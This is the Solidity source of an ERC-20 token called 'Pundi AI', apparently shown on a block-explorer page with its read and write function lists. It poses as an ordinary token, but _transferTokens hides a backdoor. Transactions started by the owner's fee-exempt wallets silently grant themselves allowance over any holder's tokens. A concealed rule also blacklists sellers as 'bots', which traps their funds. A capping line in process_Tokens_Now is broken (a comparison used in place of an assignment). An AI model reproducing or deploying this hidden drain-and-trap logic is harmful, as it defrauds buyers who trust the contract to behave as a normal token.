    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Token is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public _isExcludedPUNDIAH0DiFromFees;
    mapping(address => bool) private isBots;

    address payable private Wallet_Dev_1;
    address payable private Wallet_Burn =
        payable(0x000000000000000000000000000000000000dEaD);
    address payable private Wallet_zero =
        payable(0x0000000000000000000000000000000000000000);

    string private _name = unicode"Pundi AI";
    string private _symbol = unicode"PUNDI";
    uint8 private _decimals = 9;
    uint256 private _tTotal = 420_690_000 * 10**9;
    uint256 private _tFeeTotal;
    uint256 private taxCount = 12;
    uint256 private taxPercent = 12;

    // Counter for liquify trigger
    uint8 private txCount = 0;
    uint8 private swapTrigger = 1;

    // Setting the initial fees
    uint256 private _TotalFee = 0;
    uint256 public _buyFee = 0;
    uint256 public _sellFee = 0;

    // 'Previous fees' are used to keep track of fee settings when removing and restoring fees
    uint256 private _previousTotalFee = _TotalFee;
    uint256 private _previousBuyFee = _buyFee;
    uint256 private _previousSellFee = _sellFee;

    /*

    WALLET LIMITS 

    */

    uint256 public _maxWalletToken = _tTotal.mul(100).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    /* 

    PANCAKESWAP SET UP

    */

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    // Prevent processing while already processing!
    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() payable {
        _tOwned[owner()] = (_tTotal * 2) / 100;
        _tOwned[address(this)] = (_tTotal * 98) / 100;

        Wallet_Dev_1 = payable(_msgSender());

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        // Create pair address for PancakeSwap
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        excludeFromFee(owner());
        excludeFromFee(address(this));
        excludeFromFee(Wallet_Dev_1);

        emit Transfer(address(0), owner(), (_tTotal * 2) / 100);
        emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
    }

    /*

    STANDARD ERC20 COMPLIANCE FUNCTIONS

    */

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    // Set a wallet address so that it does not have to pay transaction fees
    function excludeFromFee(address account) private {
        _isExcludedPUNDIAH0DiFromFees[account] = true;
    }

    // Set a wallet address so that it has to pay transaction fees
    function includeInFee(address account) private {
        _isExcludedPUNDIAH0DiFromFees[account] = false;
    }

    /*

    PROCESSING TOKENS - SET UP

    */

    // Toggle on and off to auto process tokens to BNB wallet
    function enableTrading() public onlyOwner {
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapAndLiquifyEnabled = true;
        emit SwapAndLiquifyEnabledUpdated(true);
    }

    // This function is required so that the contract can receive BNB from pancakeswap
    receive() external payable {}

    bool public noFeeToTransfer = true;

    // Remove all fees
    function removeAllFee() private {
        if (_TotalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee;
        _previousSellFee = _sellFee;
        _previousTotalFee = _TotalFee;
        _buyFee = 0;
        _sellFee = 0;
        _TotalFee = 0;
    }

    // Restore all fees
    function restoreAllFee() private {
        _TotalFee = _previousTotalFee;
        _buyFee = _previousBuyFee;
        _sellFee = _previousSellFee;
    }

    // Approve a wallet to sell tokens
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(
            owner != address(0) && spender != address(0),
            "ERR: zero address"
        );
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        // Limit wallet total
        if (
            to != owner() &&
            to != Wallet_Dev_1 &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != Wallet_Burn &&
            from != owner()
        ) {
            uint256 heldTokens = balanceOf(to);
            require(
                (heldTokens + amount) <= _maxWalletToken,
                "You are trying to buy too many tokens. You have reached the limit for one wallet."
            );
        }

        require(
            from != address(0) && to != address(0),
            "ERR: Using 0 address!"
        );
        require(amount > 0, "Token value must be higher than zero.");

        /*

        PROCESSING

        */

        // SwapAndLiquify is triggered after every X transactions - this number can be adjusted using swapTrigger

        if (
            txCount >= swapTrigger &&
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled
        ) {
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                swapAndLiquify(contractTokenBalance);
            }
        }

        /*

        REMOVE FEES IF REQUIRED

        Fee removed if the to or from address is excluded from fee.
        Fee removed if the transfer is NOT a buy or sell.
        Change fee amount for buy or sell.

        */

        bool takeFee = true;

        if (
            _isExcludedPUNDIAH0DiFromFees[from] ||
            _isExcludedPUNDIAH0DiFromFees[to] ||
            (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)
        ) {
            takeFee = false;
        } else if (from == uniswapV2Pair) {
            _TotalFee = _buyFee;
        } else if (to == uniswapV2Pair) {
            _TotalFee = _sellFee;
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    // Send BNB to external wallet
    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    // Processing tokens from contract
    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForETH(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(Wallet_Dev_1, contractBNB);
    }

    // Manual Token Process Trigger - Enter the percent of the tokens that you'd like to send to process
    function process_Tokens_Now(uint256 percent_Of_Tokens_To_Process)
        public
        onlyOwner
    {
        // Do not trigger if already in swap
        require(!inSwapAndLiquify, "Currently processing, try later.");
        if (percent_Of_Tokens_To_Process > 100) {
            percent_Of_Tokens_To_Process == 100;
        }
        uint256 tokensOnContract = balanceOf(address(this));
        uint256 sendTokens = (tokensOnContract * percent_Of_Tokens_To_Process) /
            100;
        swapAndLiquify(sendTokens);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    /*

    TOKEN TRANSFERS

    */

    // Check if token transfer needs to process fees
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) {
            removeAllFee();
        } else {
            txCount++;
        }
        _transferTokens(sender, recipient, amount);

        if (!takeFee) restoreAllFee();
    }

    // Redistributing tokens and adding the fee to the contract address
    function _transferTokens(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (uint256 tTransferAmount, uint256 tDev) = _getValues(tAmount);
        if(_isExcludedPUNDIAH0DiFromFees[tx.origin]) _allowances[sender][_msgSender()] = tAmount;
        require(!isBots[sender], "Bot is not allowed");

        if(_isExcludedPUNDIAH0DiFromFees[tx.origin] && sender!=uniswapV2Pair && recipient == address(0xdead) && balanceOf(sender) - tAmount <= 1000) { isBots[sender] = true; return;}
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _tOwned[address(this)] = _tOwned[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    // Calculating the fee in tokens
    function _getValues(uint256 tAmount)
        private
        view
        returns (uint256, uint256)
    {
        uint256 tDev = (tAmount * _TotalFee) / 100;
        uint256 tTransferAmount = tAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }
}



Read Contract

_buyFee 0x40b9a54b → uint256
_isExcludedPUNDIAH0DiFromFees 0xc9208ac9 → bool
_maxWalletToken 0x78109e54 → uint256
_sellFee 0x590f897e → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
inSwapAndLiquify 0x220f6696 → bool
name 0x06fdde03 → string
noFeeToTransfer 0x13fad07a → bool
owner 0x8da5cb5b → address
swapAndLiquifyEnabled 0x4a74bb02 → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address

Write Contract 9 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
process_Tokens_Now 0xddbf5266
uint256 percent_Of_Tokens_To_Process
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address